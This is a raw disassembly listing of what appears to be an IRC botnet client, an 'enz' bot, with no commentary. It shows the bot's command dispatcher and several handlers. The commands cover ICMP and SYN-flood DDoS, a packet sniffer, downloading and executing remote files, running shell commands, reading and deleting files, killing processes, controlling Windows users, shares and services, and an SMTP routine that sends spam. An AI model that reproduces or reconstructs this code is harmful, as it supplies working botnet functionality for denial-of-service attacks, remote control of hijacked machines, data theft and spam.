		push	offset aVall	; "vall"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411271
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40CFCD
		push	[ebp+arg_8]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411258
		push	[ebp+arg_8]
		push	offset aEnz_n	; "enz.n"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411258
		push	[ebp+arg_8]
		push	offset aEnz_join ; "enz.join"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411238
		push	[ebp+arg_8]
		push	offset aEnz_j	; "enz.j"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411238
		push	[ebp+arg_8]
		push	offset aEnz_part ; "enz.part"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41121F
		push	[ebp+arg_8]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41121F
		push	[ebp+arg_8]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111E8
		push	[ebp+arg_8]
		push	offset aEnz_r	; "enz.r"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111E8
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411116
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411116
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41106B
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41106B
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411020
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411020
		push	[ebp+arg_8]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41100B
		push	[ebp+arg_8]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41100B
		push	[ebp+arg_8]
		push	offset aBox_open ; "box.open"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FE1
		push	[ebp+arg_8]
		push	offset aBox_o	; "box.o"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FE1
		push	[ebp+arg_8]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBC
		push	[ebp+arg_8]
		push	offset aEnz_se	; "enz.se"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBC
		push	[ebp+arg_8]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F4C
		push	[ebp+arg_8]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F4C
		push	[ebp+arg_8]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F20
		push	[ebp+arg_8]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F20
		push	[ebp+arg_8]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC5
		push	[ebp+arg_8]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC5
		push	[ebp+arg_8]
		push	offset aBox_delete ; "box.delete"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E8E
		push	[ebp+arg_8]
		push	offset aBox_del	; "box.del"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E8E
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410DAD
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410DAD
		push	[ebp+arg_8]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D92
		push	[ebp+arg_8]
		push	offset aBox_fl	; "box.fl"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D92
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D57
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D57
		push	[ebp+arg_8]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D0C
		push	[ebp+arg_8]
		push	offset aBox_cm	; "box.cm"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D0C
		push	[ebp+arg_8]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C87
		push	[ebp+arg_8]
		push	offset aBox_rf	; "box.rf"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C87
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E7EF
		push	edi
		push	offset aOn	; "on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E7B7
		push	19h
		call	sub_413506
		test	eax, eax
		pop	ecx
		jle	short loc_40E6E4
		push	offset a_e_1_0bSniff_m ; ".e.(1.0b) ( sniff.m.d.l ) .»».  Already"...
		jmp	loc_411581
; ---------------------------------------------------------------------------


loc_40E6E4:				; CODE XREF: sub_40CC09+1ACFj
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_3DC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_354], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_350], eax
		jnz	short loc_40E726
		mov	esi, offset dword_42A3E8
		push	offset byte_438A10
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E726
		mov	esi, [ebp+var_8C]


loc_40E726:				; CODE XREF: sub_40CC09+1AFFj
					; sub_40CC09+1B15j
		push	esi
		lea	eax, [ebp+var_3D8]
		push	80h
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bSniff_0 ; ".e.(1.0b) ( sniff.m.d.l ) .»».  Carnivo"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	19h
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	[ebp+var_358], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3DC]
		push	ebx
		push	eax
		push	offset sub_40211B
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_358]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40E7A6


loc_40E790:				; CODE XREF: sub_40CC09+1B9Bj
		cmp	[ebp+var_34C], ebx
		jnz	loc_410436
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_40E790
; ---------------------------------------------------------------------------


loc_40E7A6:				; CODE XREF: sub_40CC09+1B85j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bSniff_1 ; ".e.(1.0b) ( sniff.m.d.l ) .»».  Failed "...
		jmp	loc_4120F8
; ---------------------------------------------------------------------------


loc_40E7B7:				; CODE XREF: sub_40CC09+1ABFj
		push	edi
		push	offset off_433A48
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410436
		push	ebx
		push	19h
		call	sub_4134B9
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40E7E5
		push	eax
		push	offset a_e_1_0bSniff_2 ; ".e.(1.0b) ( sniff.m.d.l ) .»».  Carnivo"...
		jmp	loc_4120F8
; ---------------------------------------------------------------------------


loc_40E7E5:				; CODE XREF: sub_40CC09+1BCFj
		push	offset a_e_1_0bSniff_3 ; ".e.(1.0b) ( sniff.m.d.l ) .»».  No Carn"...
		jmp	loc_411581
; ---------------------------------------------------------------------------


loc_40E7EF:				; CODE XREF: sub_40CC09+1AAAj
		push	[ebp+arg_8]
		push	offset aBox_net	; "box.net"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EA8B
		cmp	dword_44CDA8, ebx
		jz	short loc_40E820
		cmp	dword_44CDD0, ebx
		jz	short loc_40E820
		push	offset a_e_1_0bNet_m_d ; ".e.(1.0b) ( net.m.d.l	) .»».	Failed to"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40E820:				; CODE XREF: sub_40CC09+1C03j
					; sub_40CC09+1C0Bj
		cmp	[ebp+var_C], ebx
		jz	loc_410690
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40E848
		push	eax
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_40E848:				; CODE XREF: sub_40CC09+1C2Fj
		push	edi
		push	offset aStart	; "start"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8AE
		cmp	[ebp+arg_18], ebx
		jz	short loc_40E882
		push	[ebp+arg_0]
		push	3


loc_40E863:				; CODE XREF: sub_40CC09+1CBBj
					; sub_40CC09+1CD3j ...
		call	sub_40B350
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_413812
		add	esp, 14h
		jmp	loc_410690
; ---------------------------------------------------------------------------


loc_40E882:				; CODE XREF: sub_40CC09+1C53j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B5F7
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40E8A4
		push	offset a_e_1_0bNet_m_0 ; ".e.(1.0b) ( net.m.d.l	) .»».	Service	l"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40E8A4:				; CODE XREF: sub_40CC09+1C8Fj
		push	offset a_e_1_0bNet_m_1 ; ".e.(1.0b) ( net.m.d.l	) .»».	Service	l"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40E8AE:				; CODE XREF: sub_40CC09+1C4Ej
		push	edi
		push	offset aStop	; "stop"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8C6
		push	[ebp+arg_0]
		push	4
		jmp	short loc_40E863
; ---------------------------------------------------------------------------


loc_40E8C6:				; CODE XREF: sub_40CC09+1CB4j
		push	edi
		push	offset aPause	; "pause"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8DE
		push	[ebp+arg_0]
		push	5
		jmp	short loc_40E863
; ---------------------------------------------------------------------------


loc_40E8DE:				; CODE XREF: sub_40CC09+1CCCj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8F9
		push	[ebp+arg_0]
		push	6
		jmp	loc_40E863
; ---------------------------------------------------------------------------


loc_40E8F9:				; CODE XREF: sub_40CC09+1CE4j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E914
		push	[ebp+arg_0]
		push	1
		jmp	loc_40E863
; ---------------------------------------------------------------------------


loc_40E914:				; CODE XREF: sub_40CC09+1CFFj
		push	edi
		push	offset aShare	; "share"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E991
		cmp	[ebp+arg_18], ebx
		jz	short loc_40E964
		cmp	[ebp+var_8B0], bl
		jz	short loc_40E93A
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_40E945
; ---------------------------------------------------------------------------


loc_40E93A:				; CODE XREF: sub_40CC09+1D27j
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx


loc_40E945:				; CODE XREF: sub_40CC09+1D2Fj
		call	sub_40B734
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_413812
		add	esp, 18h
		jmp	loc_410690
; ---------------------------------------------------------------------------


loc_40E964:				; CODE XREF: sub_40CC09+1D1Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B929
		add	esp, 10h
		test	eax, eax
		jz	short loc_40E987
		push	offset a_e_1_0bNet_m_2 ; ".e.(1.0b) ( net.m.d.l	) .»».	Share lis"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40E987:				; CODE XREF: sub_40CC09+1D72j
		push	offset a_e_1_0bNet_m_3 ; ".e.(1.0b) ( net.m.d.l	) .»».	Share lis"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40E991:				; CODE XREF: sub_40CC09+1D1Aj
		push	edi
		push	offset aUser	; "user"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EA33
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40EA06
		cmp	[ebp+var_8B0], bl
		jz	short loc_40E9C7
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40E9E7
; ---------------------------------------------------------------------------


loc_40E9C7:				; CODE XREF: sub_40CC09+1DAAj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_40E9E3
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40E9E7
; ---------------------------------------------------------------------------


loc_40E9E3:				; CODE XREF: sub_40CC09+1DD3j
		push	ebx
		push	eax
		push	2


loc_40E9E7:				; CODE XREF: sub_40CC09+1DBCj
					; sub_40CC09+1DD8j
		call	sub_40BA4A
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_413812
		add	esp, 24h
		jmp	loc_410690
; ---------------------------------------------------------------------------


loc_40EA06:				; CODE XREF: sub_40CC09+1DA2j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BF5E
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EA29
		push	offset a_e_1_0bNet_m_4 ; ".e.(1.0b) ( net.m.d.l	) .»».	User list"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40CC09+1E14j
		push	offset a_e_1_0bNet_m_5 ; ".e.(1.0b) ( net.m.d.l	) .»».	User list"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40EA33:				; CODE XREF: sub_40CC09+1D97j
		push	edi
		push	offset aSend	; "send"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA81
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EA77
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C212
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_413812
		add	esp, 1Ch
		jmp	loc_410690
; ---------------------------------------------------------------------------


loc_40EA77:				; CODE XREF: sub_40CC09+1E3Ej
		push	offset a_e_1_0bNet_m_6 ; ".e.(1.0b) ( net.m.d.l	) .»».	No messag"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40EA81:				; CODE XREF: sub_40CC09+1E39j
		push	offset a_e_1_0bNet_m_7 ; ".e.(1.0b) ( net.m.d.l	) .»».	Command	u"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40EA8B:				; CODE XREF: sub_40CC09+1BF7j
		push	[ebp+arg_8]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410BA3
		push	[ebp+arg_8]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410BA3
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40CFCD
		push	[ebp+arg_8]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B64
		push	[ebp+arg_8]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B64
		push	[ebp+arg_8]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B11
		push	[ebp+arg_8]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B11
		push	[ebp+arg_8]
		push	offset aEnz_action ; "enz.action"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AA3
		push	[ebp+arg_8]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AA3
		push	[ebp+arg_8]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A40
		push	[ebp+arg_8]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A40
		push	[ebp+arg_8]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A01
		push	[ebp+arg_8]
		push	offset aEnz_m	; "enz.m"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A01
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410996
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410996
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410914
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410914
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108A3
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108A3
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41087D
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41087D
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41081A
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41081A
		push	[ebp+arg_8]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410754
		push	[ebp+arg_8]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410754
		push	[ebp+arg_8]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106B9
		push	[ebp+arg_8]
		push	offset aEnz_de	; "enz.de"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106B9
		push	[ebp+arg_8]
		push	offset aDownload_updiz ; "download.updiz"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410501
		push	[ebp+arg_8]
		push	offset aDownload_upz ; "download.upz"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410501
		push	[ebp+arg_8]
		push	offset aBox_execute ; "box.execute"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41046E
		push	[ebp+arg_8]
		push	offset aBox_e	; "box.e"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41046E
		push	[ebp+arg_8]
		push	offset aBox_rename ; "box.rename"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4103EA
		push	[ebp+arg_8]
		push	offset aBox_mv	; "box.mv"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4103EA
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4102EF
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4102EF
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40CFCD
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410204
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410204
		push	[ebp+arg_8]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4100FF
		push	[ebp+arg_8]
		push	offset aDs_ack	; "ds.ack"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4100FF
		push	[ebp+arg_8]
		push	offset aDs_rm	; "ds.rm"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4100FF
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410001
		push	[ebp+arg_8]
		push	offset aSy1	; "sy1"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410001
		push	[ebp+arg_8]
		push	offset aDownload_fromw ; "download.fromwww"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEC3
		push	[ebp+arg_8]
		push	offset aD1	; "d1"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEC3
		push	[ebp+arg_8]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FDC9
		push	[ebp+arg_8]
		push	offset dword_4335BC
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FDC9
		push	[ebp+arg_8]
		push	offset dword_4335AC
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FCD6
		push	[ebp+arg_8]
		push	offset dword_4335A4
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FCD6
		push	[ebp+arg_8]
		push	offset dword_433594
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FC01
		push	[ebp+arg_8]
		push	offset dword_433588
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FC01
		push	[ebp+arg_8]
		push	offset dword_433578
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAEC
		push	[ebp+arg_8]
		push	offset dword_43356C
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAEC
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40CFCD
		push	[ebp+arg_8]
		push	offset dword_433560
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F793
		push	[ebp+arg_8]
		push	offset aVvv	; "vvv"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F793
		push	[ebp+arg_8]
		push	offset dword_433550
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F673
		push	[ebp+arg_8]
		push	offset dword_433544
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F673
		push	[ebp+arg_8]
		push	offset dword_433540
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F673
		push	[ebp+arg_8]
		push	offset dword_433530
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F532
		push	[ebp+arg_8]
		push	offset dword_433524
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F532
		push	[ebp+arg_8]
		push	offset dword_433520
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F532
		push	[ebp+arg_8]
		push	offset dword_433510
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F39F
		push	[ebp+arg_8]
		push	offset off_43350C
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F39F
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F1DC
		lea	eax, [ebp+var_2E4]
		push	edi
		push	eax
		call	sub_414FB0
		push	[ebp+arg_18]
		call	sub_413D7F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_E9C]
		push	eax
		call	sub_414FB0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_A94]
		push	eax
		call	sub_414FB0
		push	offset asc_425148 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_408296
		push	eax
		lea	eax, [ebp+var_448]
		push	eax
		call	sub_414FB0
		add	esp, 30h
		lea	eax, [ebp+var_5F4]
		push	eax
		push	101h
		call	dword_44CC60	; WSAStartup
		lea	eax, [ebp+var_2E4]
		push	eax
		call	dword_44CD5C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_44CD58	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_1D8], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1D4], eax
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_1D6], ax
		lea	eax, [ebp+var_448]
		push	eax
		lea	eax, [ebp+var_E9C]
		push	eax
		lea	eax, [ebp+var_448]
		push	eax
		lea	eax, [ebp+var_A94]
		push	eax
		lea	eax, [ebp+var_E9C]
		push	eax
		lea	eax, [ebp+var_129C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_413812
		add	esp, 1Ch
		lea	eax, [ebp+var_1D8]
		push	10h
		push	eax
		push	esi
		call	dword_44CC88	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_44CCF4	; recv
		lea	eax, [ebp+var_C98]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_129C]
		push	eax
		push	esi
		call	dword_44CD28	; send
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_44CCF4	; recv
		push	esi
		call	dword_44CD70	; closesocket
		call	dword_44CC48	; WSACleanup
		lea	eax, [ebp+var_A94]
		push	eax
		push	offset a_1514enz10b_2_ ; ".15,14enz10b .2.. .15(email.2..15mod)	."...


